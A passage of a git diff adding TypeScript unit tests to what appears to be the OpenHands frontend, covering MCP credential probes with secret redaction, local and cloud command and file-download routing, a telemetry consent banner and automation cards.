+ mockTestServer.mockResolvedValue(
+ slackToolResult('{"ok":false,"error":"invalid_auth"}'),
+ );
+
+ const result = await McpService.testServer(SLACK_SERVER);
+
+ expect(result).toEqual({
+ ok: false,
+ error: "invalid_auth",
+ error_kind: "credentials",
+ });
+ });
+
+ it("does not flag non-auth Slack errors (missing_scope) as bad credentials", async () => {
+ // A valid token lacking a scope authenticated successfully — failing it
+ // would block correctly-configured installs.
+ const response = slackToolResult('{"ok":false,"error":"missing_scope"}');
+ mockTestServer.mockResolvedValue(response);
+
+ const result = await McpService.testServer(SLACK_SERVER);
+
+ expect(result).toEqual(response);
+ });
+
+ it("passes a succeeding Slack payload through unchanged", async () => {
+ const response = slackToolResult('{"ok":true,"channels":[]}');
+ mockTestServer.mockResolvedValue(response);
+
+ const result = await McpService.testServer(SLACK_SERVER);
+
+ expect(result).toEqual(response);
+ });
+
+ it("maps an errored verification call to a credentials failure", async () => {
+ mockTestServer.mockResolvedValue(
+ slackToolResult("Tool 'slack_list_channels' call timed out", true),
+ );
+
+ const result = await McpService.testServer(SLACK_SERVER);
+
+ expect(result).toEqual({
+ ok: false,
+ error: "Tool 'slack_list_channels' call timed out",
+ error_kind: "credentials",
+ });
+ });
+
+ it("returns the response unchanged when an older backend omits tool_result", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: ["a", "b"] });
+
+ const result = await McpService.testServer(SLACK_SERVER);
+
+ expect(result).toEqual({ ok: true, tools: ["a", "b"] });
+ });
+
+ it("skips credential interpretation when the probe tool is not advertised", async () => {
+ // A server variant that doesn't expose the probe tool (e.g. Slack's
+ // hosted MCP) returns a deterministic "not advertised" tool error; that
+ // proves nothing about credentials and must not block the install.
+ const response = {
+ ok: true,
+ tools: ["conversations_history"],
+ tool_result: {
+ is_error: true,
+ text: "Tool 'slack_list_channels' not advertised by server",
+ },
+ };
+ mockTestServer.mockResolvedValue(response);
+
+ const result = await McpService.testServer(SLACK_SERVER);
+
+ expect(result).toEqual(response);
+ });
+
+ // -------------------------------------------------------------------------
+ // Read-only credential probes for the hosted GitHub and Linear servers
+ // -------------------------------------------------------------------------
+
+ const GITHUB_SERVER: MCPServerConfig = {
+ id: "shttp-0",
+ type: "shttp",
+ name: "github",
+ url: "https://api.githubcopilot.com/mcp/",
+ auth: { strategy: "api_key", value: "github_pat_LIVETOKENVALUE" },
+ };
+
+ const LINEAR_SERVER: MCPServerConfig = {
+ id: "shttp-1",
+ type: "shttp",
+ name: "linear",
+ url: "https://mcp.linear.app/mcp",
+ auth: { strategy: "bearer", value: "lin_api_LIVETOKEN" },
+ };
+
+ it("attaches the read-only GitHub probe (get_me) to matching servers", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+
+ await McpService.testServer(GITHUB_SERVER);
+
+ expect(mockTestServer).toHaveBeenCalledWith(
+ expect.objectContaining({
+ tool_call: { name: "get_me", arguments: {} },
+ }),
+ );
+ });
+
+ it("attaches the read-only Linear probe (list_teams) to matching servers", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+
+ await McpService.testServer(LINEAR_SERVER);
+
+ expect(mockTestServer).toHaveBeenCalledWith(
+ expect.objectContaining({
+ tool_call: { name: "list_teams", arguments: {} },
+ }),
+ );
+ });
+
+ it("maps an errored GitHub probe call to a redacted credentials failure", async () => {
+ mockTestServer.mockResolvedValue({
+ ok: true,
+ tools: ["get_me"],
+ tool_result: {
+ is_error: true,
+ text: "401 for token github_pat_LIVETOKENVALUE",
+ },
+ });
+
+ const result = await McpService.testServer(GITHUB_SERVER);
+
+ // Interpretation runs on already-redacted text, so the surfaced
+ // credentials error never contains the configured secret.
+ expect(result).toEqual({
+ ok: false,
+ error: `401 for token ${REDACTED_MCP_SECRET_VALUE}`,
+ error_kind: "credentials",
+ });
+ });
+
+ it("redacts configured secrets from failure error text", async () => {
+ mockTestServer.mockResolvedValue({
+ ok: false,
+ error: "handshake rejected Bearer github_pat_LIVETOKENVALUE",
+ error_kind: "connection",
+ });
+
+ const result = await McpService.testServer(GITHUB_SERVER);
+
+ expect(result).toMatchObject({ ok: false, error_kind: "connection" });
+ expect(JSON.stringify(result)).not.toContain("github_pat_LIVETOKENVALUE");
+ });
+
+ // -------------------------------------------------------------------------
+ // Redacted-secret round-trip for the edit flow
+ //
+ // The MCP page reads settings with redacted secrets, so unchanged env
+ // values arrive as the literal redaction placeholder. The service swaps
+ // them for the stored values in encrypted form (decrypted server-side) so
+ // the test exercises the real credentials.
+ // -------------------------------------------------------------------------
+
+ const REDACTED_SLACK_SERVER: MCPServerConfig = {
+ ...SLACK_SERVER,
+ env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: REDACTED_MCP_SECRET_VALUE },
+ };
+
+ it("substitutes redacted env values with encrypted stored values", async () => {
+ mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+ vi.spyOn(SettingsService, "fetchSettingsFromApi").mockResolvedValue({
+ agent_settings: {
+ mcp_config: {
+ slack: { env: { SLACK_BOT_TOKEN: "gAAAAA-encrypted-token" } },
+ },
+ },
+ } as unknown as SettingsApiResponse);
+
+ await McpService.testServer(REDACTED_SLACK_SERVER);
+
+ expect(SettingsService.fetchSettingsFromApi).toHaveBeenCalledWith(
+ "encrypted",
+ );
+ expect(mockTestServer).toHaveBeenCalledWith(
+ expect.objectContaining({
+ server: expect.objectContaining({
+ // Placeholder replaced by ciphertext; typed value left untouched.
+ env: {
+ SLACK_TEAM_ID: "T01",
+ SLACK_BOT_TOKEN: "gAAAAA-encrypted-token",
+ },
+ }),
+ }),
+ );
+ });
+
+ it("keeps the placeholder when encrypted settings cannot be fetched", async () => {
+ // e.g. HTTP 503 from a backend without a cipher — the test must still
+ // run (and fail the credential check honestly) instead of crashing.
+ mockTestServer.mockResolvedValue({ ok: true, tools: [] });
+ vi.spyOn(SettingsService, "fetchSettingsFromApi").mockRejectedValue(
+ new Error("503 no cipher"),
+ );
+
+ await McpService.testServer(REDACTED_SLACK_SERVER);
+
+ expect(mockTestServer).toHaveBeenCalledWith(
+ expect.objectContaining({
+ server: expect.objectContaining({
+ env: {
+ SLACK_TEAM_ID: "T01",
+ SLACK_BOT_TOKEN: REDACTED_MCP_SECRET_VALUE,
+ },
+ }),
+ }),
+ );
+ });
+
+ it("short-circuits with a synthetic ok response on cloud backends", async () => {
+ // Regression: when the active backend is cloud, the local agent-server's
+ // /api/mcp/test endpoint is not reachable. Previously, the helper threw
+ // `NoBackendAvailableError("No backend is configured.")` which surfaced
+ // in the install modal and blocked users from creating any MCP server
+ // (e.g. Slack) on a cloud session.
+ cloudActive();
+
+ const result = await McpService.testServer(SERVER);
+
+ expect(result).toEqual({ ok: true, tools: [] });
+ expect(mockTestServer).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/api/runtime-service/agent-server-runtime-service.test.ts b/__tests__/api/runtime-service/agent-server-runtime-service.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e37bdb3b653220fbdf1e7d38d69b704983e00feb
--- /dev/null
+++ b/__tests__/api/runtime-service/agent-server-runtime-service.test.ts
@@ -0,0 +1,307 @@
+import { FileClient } from "@openhands/typescript-client/clients";
+import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service";
+import { callCloudProxy } from "#/api/cloud/proxy";
+import type { Backend } from "#/api/backend-registry/types";
+
+// ─── SDK client mocks ───────────────────────────────────────────────────────
+
+const { executeCommandMock, downloadFileMock } = vi.hoisted(() => ({
+ executeCommandMock: vi.fn(),
+ downloadFileMock: vi.fn(),
+}));
+
+vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({
+ RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() {
+ return { executeCommand: executeCommandMock };
+ }),
+}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ FileClient: vi.fn(function FileClientMock() {
+ return { downloadFile: downloadFileMock };
+ }),
+}));
+
+vi.mock("#/api/agent-server-client-options", () => ({
+ getAgentServerClientOptions: vi.fn(() => ({
+ host: "http://local-agent.example.com",
+ apiKey: "local-key",
+ workingDir: "/workspace/project",
+ })),
+}));
+
+vi.mock("#/api/cloud/proxy", () => ({
+ callCloudProxy: vi.fn(),
+}));
+
+// ─── Backend fixtures ────────────────────────────────────────────────────────
+
+const cloudBackend: Backend = {
+ id: "cloud-1",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "cloud-api-key",
+ kind: "cloud",
+};
+
+const CLOUD_CONVERSATION_URL =
+ "https://runtime.example.com/api/conversations/conv-1";
+const SESSION_KEY = "session-key-abc";
+
+// ─── Helpers ─────────────────────────────────────────────────────────────────
+
+function activateCloud() {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: null });
+}
+
+// ─── Setup ───────────────────────────────────────────────────────────────────
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ vi.mocked(RemoteWorkspace).mockClear();
+ vi.mocked(FileClient).mockClear();
+ executeCommandMock.mockReset();
+ downloadFileMock.mockReset();
+ vi.mocked(callCloudProxy).mockReset();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+});
+
+// ─── executeCommand ──────────────────────────────────────────────────────────
+
+describe("AgentServerRuntimeService.executeCommand", () => {
+ describe("local backend", () => {
+ it("creates RemoteWorkspace with resolved options and delegates", async () => {
+ executeCommandMock.mockResolvedValue({
+ exit_code: 0,
+ stdout: "main\n",
+ stderr: "",
+ });
+
+ const result = await AgentServerRuntimeService.executeCommand(
+ "http://local-agent.example.com/api/conversations/conv-1",
+ SESSION_KEY,
+ "git rev-parse --abbrev-ref HEAD",
+ "/workspace/project",
+ 10,
+ );
+
+ expect(RemoteWorkspace).toHaveBeenCalledTimes(1);
+ expect(executeCommandMock).toHaveBeenCalledWith(
+ "git rev-parse --abbrev-ref HEAD",
+ "/workspace/project",
+ 10,
+ );
+ expect(result).toEqual({ exit_code: 0, stdout: "main\n", stderr: "" });
+ });
+
+ it("does not call callCloudProxy for local backends", async () => {
+ executeCommandMock.mockResolvedValue({
+ exit_code: 0,
+ stdout: "",
+ stderr: "",
+ });
+
+ await AgentServerRuntimeService.executeCommand(null, null, "ls", "/", 5);
+
+ expect(callCloudProxy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe("cloud backend", () => {
+ beforeEach(activateCloud);
+
+ it("routes through callCloudProxy with correct path, body, and auth", async () => {
+ vi.mocked(callCloudProxy).mockResolvedValue({
+ exit_code: 0,
+ stdout: "src/index.ts\n",
+ stderr: "",
+ });
+
+ const result = await AgentServerRuntimeService.executeCommand(
+ CLOUD_CONVERSATION_URL,
+ SESSION_KEY,
+ "find . -type f",
+ "/workspace/project",
+ 30,
+ );
+
+ const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0];
+ expect(proxyCall.method).toBe("POST");
+ expect(proxyCall.path).toBe("/api/bash/execute_bash_command");
+ expect(proxyCall.hostOverride).toBe("https://runtime.example.com");
+ expect(proxyCall.body).toEqual({
+ command: "find . -type f",
+ cwd: "/workspace/project",
+ timeout: 30,
+ });
+ expect(proxyCall.authMode).toBe("session-api-key");
+ expect(proxyCall.sessionApiKey).toBe(SESSION_KEY);
+ expect(proxyCall.timeoutSeconds).toBe(40);
+ expect(result).toEqual({
+ exit_code: 0,
+ stdout: "src/index.ts\n",
+ stderr: "",
+ });
+ });
+
+ it("omits cwd from proxy body when not provided", async () => {
+ vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 0 });
+
+ await AgentServerRuntimeService.executeCommand(
+ CLOUD_CONVERSATION_URL,
+ SESSION_KEY,
+ "echo hi",
+ undefined,
+ 10,
+ );
+
+ const proxyBody = vi.mocked(callCloudProxy).mock.calls[0][0].body as Record;
+ expect(proxyBody).not.toHaveProperty("cwd");
+ expect(proxyBody.command).toBe("echo hi");
+ });
+
+ it("normalises missing stdout/stderr fields to empty strings", async () => {
+ vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 1 });
+
+ const result = await AgentServerRuntimeService.executeCommand(
+ CLOUD_CONVERSATION_URL,
+ SESSION_KEY,
+ "false",
+ undefined,
+ 5,
+ );
+
+ expect(result).toEqual({ exit_code: 1, stdout: "", stderr: "" });
+ });
+
+ it("does not create a RemoteWorkspace for cloud calls", async () => {
+ vi.mocked(callCloudProxy).mockResolvedValue({ exit_code: 0 });
+
+ await AgentServerRuntimeService.executeCommand(
+ CLOUD_CONVERSATION_URL,
+ SESSION_KEY,
+ "echo ok",
+ );
+
+ expect(RemoteWorkspace).not.toHaveBeenCalled();
+ });
+
+ it("falls back to local path when conversationUrl is null", async () => {
+ executeCommandMock.mockResolvedValue({
+ exit_code: 0,
+ stdout: "",
+ stderr: "",
+ });
+
+ await AgentServerRuntimeService.executeCommand(
+ null,
+ SESSION_KEY,
+ "echo ok",
+ );
+
+ expect(callCloudProxy).not.toHaveBeenCalled();
+ expect(RemoteWorkspace).toHaveBeenCalledTimes(1);
+ });
+ });
+});
+
+// ─── downloadFile ─────────────────────────────────────────────────────────────
+
+describe("AgentServerRuntimeService.downloadFile", () => {
+ describe("local backend", () => {
+ it("creates FileClient with resolved options and returns the ArrayBuffer", async () => {
+ const fileBytes = new TextEncoder().encode("# README");
+ downloadFileMock.mockResolvedValue(fileBytes.buffer);
+
+ const result = await AgentServerRuntimeService.downloadFile(
+ "http://local-agent.example.com/api/conversations/conv-1",
+ SESSION_KEY,
+ "/workspace/project/README.md",
+ );
+
+ expect(FileClient).toHaveBeenCalledTimes(1);
+ expect(downloadFileMock).toHaveBeenCalledWith(
+ "/workspace/project/README.md",
+ );
+ expect(result).toBe(fileBytes.buffer);
+ });
+
+ it("does not call callCloudProxy for local backends", async () => {
+ downloadFileMock.mockResolvedValue(new ArrayBuffer(0));
+
+ await AgentServerRuntimeService.downloadFile(
+ null,
+ null,
+ "/workspace/file.txt",
+ );
+
+ expect(callCloudProxy).not.toHaveBeenCalled();
+ });
+ });
+
+ describe("cloud backend", () => {
+ beforeEach(activateCloud);
+
+ it("routes through callCloudProxy with GET and URL-encoded path", async () => {
+ const blob = new Blob([new TextEncoder().encode("file content")]);
+ vi.mocked(callCloudProxy).mockResolvedValue(blob);
+
+ const result = await AgentServerRuntimeService.downloadFile(
+ CLOUD_CONVERSATION_URL,
+ SESSION_KEY,
+ "/workspace/project/src/main.ts",
+ );
+
+ const proxyCall = vi.mocked(callCloudProxy).mock.calls[0][0];
+ expect(proxyCall.method).toBe("GET");
+ expect(proxyCall.path).toBe(
+ "/api/file/download?path=%2Fworkspace%2Fproject%2Fsrc%2Fmain.ts",
+ );
+ expect(proxyCall.hostOverride).toBe("https://runtime.example.com");
+ expect(proxyCall.authMode).toBe("session-api-key");
+ expect(proxyCall.sessionApiKey).toBe(SESSION_KEY);
+ expect(proxyCall.responseType).toBe("blob");
+
+ // Blob.arrayBuffer() round-trip: decoded text should match the original.
+ expect(new TextDecoder().decode(result)).toBe("file content");
+ });
+
+ it("does not create a FileClient for cloud calls", async () => {
+ vi.mocked(callCloudProxy).mockResolvedValue(new Blob());
+
+ await AgentServerRuntimeService.downloadFile(
+ CLOUD_CONVERSATION_URL,
+ SESSION_KEY,
+ "/workspace/file.txt",
+ );
+
+ expect(FileClient).not.toHaveBeenCalled();
+ });
+
+ it("falls back to local path when conversationUrl is null", async () => {
+ downloadFileMock.mockResolvedValue(new ArrayBuffer(0));
+
+ await AgentServerRuntimeService.downloadFile(
+ null,
+ SESSION_KEY,
+ "/workspace/file.txt",
+ );
+
+ expect(callCloudProxy).not.toHaveBeenCalled();
+ expect(FileClient).toHaveBeenCalledTimes(1);
+ });
+ });
+});
diff --git a/__tests__/components/analytics/telemetry-consent-banner.test.tsx b/__tests__/components/analytics/telemetry-consent-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a49a895c9659d30202919c3a1c28e1d4d9b55131
--- /dev/null
+++ b/__tests__/components/analytics/telemetry-consent-banner.test.tsx
@@ -0,0 +1,198 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { TelemetryConsentBanner } from "#/components/features/analytics/telemetry-consent-banner";
+
+const useActiveBackendMock = vi.fn();
+const useSettingsMock = vi.fn();
+const useBackendsHealthMock = vi.fn();
+const saveSettingsMock = vi.fn();
+const getLockedCloudHostMock = vi.fn();
+const setTelemetryConsentMock = vi.fn();
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ ready: true,
+ t: (key: string, options?: Record) =>
+ key === "TELEMETRY$BACKEND_SCOPE"
+ ? `This preference is saved for ${options?.name} at ${options?.host}.`
+ : key,
+ }),
+}));
+
+vi.mock("#/i18n", () => ({
+ OPENHANDS_I18N_NAMESPACE: "openhands",
+}));
+
+vi.mock("#/api/agent-server-config", () => ({
+ getLockedCloudHost: () => getLockedCloudHostMock(),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+ useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => useSettingsMock(),
+}));
+
+vi.mock("#/hooks/query/use-backends-health", () => ({
+ useBackendsHealth: (...args: unknown[]) => useBackendsHealthMock(...args),
+}));
+
+vi.mock("#/hooks/mutation/use-save-settings", () => ({
+ useSaveSettings: () => ({
+ mutateAsync: saveSettingsMock,
+ isPending: false,
+ }),
+}));
+
+vi.mock("#/services/telemetry", () => ({
+ setTelemetryConsent: (...args: unknown[]) => setTelemetryConsentMock(...args),
+}));
+
+describe("TelemetryConsentBanner", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ saveSettingsMock.mockResolvedValue(undefined);
+ getLockedCloudHostMock.mockReturnValue(null);
+ useActiveBackendMock.mockReturnValue({
+ backend: {
+ id: "local",
+ kind: "local",
+ name: "Local Dev",
+ host: "http://localhost:12000",
+ },
+ });
+ useBackendsHealthMock.mockReturnValue({
+ local: { isConnected: true },
+ });
+
+ useSettingsMock.mockReturnValue({
+ data: { user_consents_to_analytics: null },
+ isSuccess: true,
+ });
+ });
+
+ it("renders in local mode when agent-server consent is null", async () => {
+ render( );
+
+ expect(
+ await screen.findByTestId("telemetry-consent-form"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByText(
+ "This preference is saved for Local Dev at http://localhost:12000.",
+ ),
+ ).toBeInTheDocument();
+ });
+
+ it("does not render until the local backend settings are connected", async () => {
+ useSettingsMock.mockReturnValue({
+ data: { user_consents_to_analytics: null },
+ isSuccess: false,
+ });
+
+ render( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("telemetry-consent-form"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("does not render when the active local backend is unhealthy", async () => {
+ useBackendsHealthMock.mockReturnValue({
+ local: { isConnected: false },
+ });
+ useSettingsMock.mockReturnValue({
+ data: { user_consents_to_analytics: null },
+ isSuccess: true,
+ });
+
+ render( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("telemetry-consent-form"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it.each([true, false])(
+ "does not render when agent-server consent is %s",
+ async (serverConsent) => {
+ useSettingsMock.mockReturnValue({
+ data: { user_consents_to_analytics: serverConsent },
+ isSuccess: true,
+ });
+
+ render( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("telemetry-consent-form"),
+ ).not.toBeInTheDocument();
+ });
+ },
+ );
+
+ it("does not render for cloud backends", async () => {
+ useActiveBackendMock.mockReturnValue({
+ backend: { id: "cloud", kind: "cloud" },
+ });
+
+ render( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("telemetry-consent-form"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("does not render in locked Cloud mode", async () => {
+ getLockedCloudHostMock.mockReturnValue("https://app.all-hands.dev");
+
+ render( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("telemetry-consent-form"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("persists the user's local-mode consent choice without useTelemetry", async () => {
+ const user = userEvent.setup();
+ render( );
+
+ const checkbox = await screen.findByRole("checkbox");
+ await user.click(checkbox);
+ await user.click(screen.getByTestId("confirm-telemetry-preferences"));
+
+ expect(setTelemetryConsentMock).toHaveBeenCalledWith("denied");
+ expect(saveSettingsMock).toHaveBeenCalledWith({
+ user_consents_to_analytics: false,
+ });
+ });
+
+ it("does not persist browser consent when the backend save fails", async () => {
+ const user = userEvent.setup();
+ saveSettingsMock.mockRejectedValue(new Error("unauthorized"));
+ render( );
+
+ await screen.findByTestId("telemetry-consent-form");
+ await user.click(screen.getByTestId("confirm-telemetry-preferences"));
+
+ await waitFor(() => {
+ expect(saveSettingsMock).toHaveBeenCalledWith({
+ user_consents_to_analytics: true,
+ });
+ });
+ expect(setTelemetryConsentMock).not.toHaveBeenCalled();
+ expect(screen.getByTestId("telemetry-consent-form")).toBeInTheDocument();
+ });
+
+});
diff --git a/__tests__/components/automations/add-automation-modal.test.tsx b/__tests__/components/automations/add-automation-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e9ac97628acd60a1b4269a58c02be9e4bcd2ffa0
--- /dev/null
+++ b/__tests__/components/automations/add-automation-modal.test.tsx
@@ -0,0 +1,107 @@
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import { AddAutomationModal } from "#/components/features/automations/add-automation-modal";
+import { I18nKey } from "#/i18n/declaration";
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => ({ data: { user_consents_to_analytics: true } }),
+}));
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ }),
+ Trans: ({
+ i18nKey,
+ components,
+ children,
+ }: {
+ i18nKey: string;
+ components?: Record;
+ children?: React.ReactNode;
+ }) => {
+ if (i18nKey !== I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC) {
+ return children ?? i18nKey;
+ }
+
+ return (
+ <>
+ Start a new conversation and tell OpenHands to{" "}
+ {components?.example
+ ? React.cloneElement(
+ components.example,
+ {},
+ <>
+ {components.cmd
+ ? React.cloneElement(
+ components.cmd,
+ {},
+ "Create an automation",
+ )
+ : null}
+ {components.punct
+ ? React.cloneElement(components.punct, {}, ".")
+ : null}
+ >,
+ )
+ : null}
+ >
+ );
+ },
+}));
+
+function renderModal(isOpen = true) {
+ const onClose = vi.fn();
+ const navigation: NavigationContextValue = {
+ currentPath: "/automations",
+ conversationId: null,
+ isNavigating: false,
+ navigate: vi.fn(),
+ };
+
+ render(
+
+
+ ,
+ );
+
+ return { onClose };
+}
+
+describe("AddAutomationModal", () => {
+ it("renders the create instructions content when open", () => {
+ renderModal();
+
+ expect(screen.getByTestId("add-automation-modal")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("automations-create-instructions-example"),
+ ).toHaveTextContent("Create an automation");
+ expect(
+ screen.getByTestId("automations-create-automation"),
+ ).toHaveTextContent(I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON);
+ expect(
+ screen.queryByText(I18nKey.AUTOMATIONS$EMPTY_OPTION_PLUGIN_TITLE),
+ ).not.toBeInTheDocument();
+ });
+
+ it("does not render when closed", () => {
+ renderModal(false);
+
+ expect(screen.queryByTestId("add-automation-modal")).not.toBeInTheDocument();
+ });
+
+ it("calls onClose when the close button is clicked", async () => {
+ const user = userEvent.setup();
+ const { onClose } = renderModal();
+
+ await user.click(screen.getByTestId("add-automation-modal-close"));
+
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+});
diff --git a/__tests__/components/automations/automation-card.test.tsx b/__tests__/components/automations/automation-card.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5f6a03118a99c4cc3c96cd51aee7ca009b38b28c
--- /dev/null
+++ b/__tests__/components/automations/automation-card.test.tsx
@@ -0,0 +1,368 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { http, HttpResponse } from "msw";
+import { AutomationCard } from "#/components/features/automations/automation-card";
+import {
+ AutomationRunStatus,
+ type Automation,
+ type AutomationRun,
+} from "#/types/automation";
+import { useAutomationRunSummaries } from "#/hooks/query/use-automation-run-summaries";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type { Backend } from "#/api/backend-registry/types";
+import { server } from "#/mocks/node";
+import { I18nKey } from "#/i18n/declaration";
+import type { InterfaceListInsights } from "#/manifests/types";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string) => key,
+ i18n: { language: "en" },
+ }),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+ useNavigation: () => ({ navigate: vi.fn(), currentPath: "/" }),
+}));
+
+vi.mock("#/hooks/use-automation-permissions", () => ({
+ useAutomationPermissions: () => ({
+ canView: true,
+ canManage: true,
+ isLoading: false,
+ }),
+ useIsAutomationOwner: () => true,
+}));
+
+// The pinned package predates the `impact` field, so an entry carrying one is
+// appended to the real catalog.
+vi.mock("@openhands/extensions/automations", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ AUTOMATION_CATALOG: [
+ ...actual.AUTOMATION_CATALOG,
+ {
+ id: "widget-checker",
+ impact: {
+ basis: "completed-runs",
+ one: "1 widget check completed",
+ other: "{{count}} widget checks completed",
+ },
+ },
+ ] as typeof actual.AUTOMATION_CATALOG,
+ };
+});
+
+const automation: Automation = {
+ id: "automation-1",
+ name: "Async Standup Digest",
+ prompt: "Generate an async standup digest from Slack activity.",
+ enabled: true,
+ trigger: { type: "cron", schedule_human: "Mondays at 09:00" },
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+};
+
+const insightsSpec = {
+ health: {
+ healthy: "Healthy",
+ failing: "Failing",
+ running: "Running",
+ disabled: "Disabled",
+ neverRun: "Never run",
+ checking: "Checking",
+ },
+ lastRun: { label: "Last run", never: "Never", justNow: "Just now" },
+ stats: { runs: "Runs", recentSuccess: "Success", averageDuration: "Avg" },
+};
+
+function createRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: null,
+ bash_command_id: null,
+ error_detail: null,
+ started_at: "2026-01-02T00:00:00Z",
+ completed_at: "2026-01-02T00:02:00Z",
+ ...overrides,
+ };
+}
+
+describe("AutomationCard", () => {
+ it("uses the shared extension module interactive class without a resting border", () => {
+ render(
+ ,
+ );
+
+ const card = screen.getByTestId("automation-card-automation-1");
+ expect(card.className).toContain("extension-module-card-interactive");
+ expect(card.className).toContain("bg-base-secondary");
+ expect(card.className).not.toContain("border-[var(--oh-border)]");
+ });
+
+ it("renders title, description, and overflow pills", () => {
+ render(
+ ,
+ );
+
+ expect(screen.getByText("Async Standup Digest")).toBeInTheDocument();
+ expect(
+ screen.getByText("Generate an async standup digest from Slack activity."),
+ ).toBeInTheDocument();
+ expect(screen.getByText("Mondays at 09:00")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("automation-pills-automation-1"),
+ ).toBeInTheDocument();
+ });
+
+ it("renders a play run button and menu actions instead of a toggle switch", async () => {
+ const user = userEvent.setup();
+
+ render(
+ ,
+ );
+
+ expect(
+ screen.getByTestId("automation-run-now-automation-1"),
+ ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW");
+ expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass(
+ "size-8",
+ );
+ expect(screen.queryByRole("switch")).not.toBeInTheDocument();
+
+ await user.click(
+ screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }),
+ );
+
+ expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument();
+ expect(screen.getByText("AUTOMATIONS$RUN_NOW")).toBeInTheDocument();
+ });
+
+ it("shows a status strip and sparkline when insights are present", () => {
+ const latestRun = createRun({
+ started_at: new Date(Date.now() - 10 * 60_000).toISOString(),
+ completed_at: new Date(Date.now() - 8 * 60_000).toISOString(),
+ });
+
+ render(
+ ,
+ );
+
+ expect(
+ screen.queryByTestId("automation-health-badge"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.getByTestId("automation-last-run-automation-1"),
+ ).toHaveTextContent("AUTOMATIONS$DETAIL$TIME_MINUTES_AGO");
+ expect(screen.getByTestId("run-status-icon-completed")).toBeInTheDocument();
+ expect(
+ screen.getByTestId("automation-activity-automation-1"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("automation-run-stats")).toBeInTheDocument();
+ expect(screen.getByText("4")).toBeInTheDocument();
+ expect(screen.getByText("100%")).toBeInTheDocument();
+ });
+
+ it("shows the value statement for its completed runs", () => {
+ // Arrange — provenance joining back to a catalog entry with an impact
+ // declaration, and a summary carrying the lifetime completed count.
+ const latestRun = createRun();
+
+ // Act
+ render(
+ ,
+ );
+
+ // Assert
+ expect(
+ screen.getByTestId("automation-impact-automation-1"),
+ ).toHaveTextContent("4 widget checks completed");
+ });
+});
+
+describe("AutomationCard — run phase", () => {
+ const localBackend: Backend = {
